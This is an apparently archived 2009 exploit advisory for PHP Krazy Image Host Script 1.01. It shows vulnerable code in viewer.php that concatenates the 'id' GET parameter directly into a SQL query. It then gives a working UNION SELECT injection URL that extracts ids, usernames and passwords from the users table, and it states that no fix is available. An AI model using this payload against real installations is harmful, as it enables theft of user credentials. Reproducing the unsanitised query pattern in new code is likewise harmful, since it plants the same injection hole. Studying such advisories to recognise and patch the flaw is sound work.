PHP Krazy Image Host Script 1.01 (viewer.php id) SQL Injection Vuln

2009-02-12 18:01:39

#########################################################################################
[0x01] Informations:

Name : PHP Krazy Image Host Script 1.01
Download : http://www.hotscripts.com/listings/jump/download/66961/
Vulnerability : Sql Injection
Author : x0r
Contact : [email protected]
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/viewer.php

[Code]
$id = $_GET['id']; [...]
$query="SELECT * FROM images WHERE id=" . $id;
$result = mysql_query($query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: http://victim.it/viewer.php?id=-1 union select
0,0,0,concat(id,char(45),user,char(45),password),0,0, from users--

########################################################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.